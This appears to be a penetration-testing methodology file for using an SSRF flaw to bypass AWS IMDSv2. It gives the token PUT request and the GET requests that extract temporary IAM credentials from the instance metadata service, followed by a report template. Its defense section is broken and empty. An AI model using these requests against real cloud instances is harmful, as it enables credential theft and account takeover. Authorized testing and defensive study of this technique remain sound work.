AWS IMDSv2 SSRF Bypass

When to Use

• When you have identified an SSRF vulnerability on an AWS EC2 instance, but IMDSv1 is disabled, and the service requires IMDSv2 tokens.
• When the SSRF vector gives you enough control to issue a PUT request and specify custom HTTP headers.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying the Restriction

Attempting a standard IMDSv1 request to http://169.254.169.254/latest/meta-data/ yields a 401 Unauthorized or requires a token. This confirms IMDSv2 is enforced.

Phase 2: Generating the Token (The PUT Request)

IMDSv2 requires a session token. You must use the SSRF to send a PUT request to /latest/api/token with the header X-aws-ec2-metadata-token-ttl-seconds.

# Concept: Push the SSRF payload to request the token PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

Note: If the SSRF only allows GET requests, bypassing IMDSv2 via this specific method is generally not possible unless you have header injection/request smuggling.

Phase 3: Extracting Metadata (The GET Request)

If Phase 2 succeeds, the response will contain the token string (e.g., AQAAAHN...). You must then issue a second SSRF request (a GET request) to the metadata endpoint, injecting the acquired token via the X-aws-ec2-metadata-token header.

# GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: AQAAAHN...

Phase 4: Looting the IAM Keys

Identify the IAM role name from the previous step, then extract the temporary credentials.

# GET /latest/meta-data/iam/security-credentials/<ROLE_NAME> HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: AQAAAHN...

Configure your local AWS CLI with the retrieved AccessKeyId, SecretAccessKey, and Token.

Decision Point 🔀

flowchart TD
    A[Discover SSRF ] --> B{IMDS Version? ]}
    B -->|IMDSv1| C[Direct GET Request ]
    B -->|IMDSv2| D{SSRF Allows PUT & Headers? }
    D -->|Yes| E[Send PUT to get Token ]
    D -->|No| F[Bypass Failed - IMDSv2 Secure ]
    E --> G[Send GET with Token Header ]
    C & G --> H[Extract Credentials ]

🔵 Blue Team Detection & Defense

• Enforce IMDSv2 Globally: Restrict Hop Limit: Limit IAM Roles on EC2: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Aws Imdsv2 Ssrf Bypass — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• AWS Docs: Transition to IMDSv2
• HackTricks: AWS Pentesting IMDS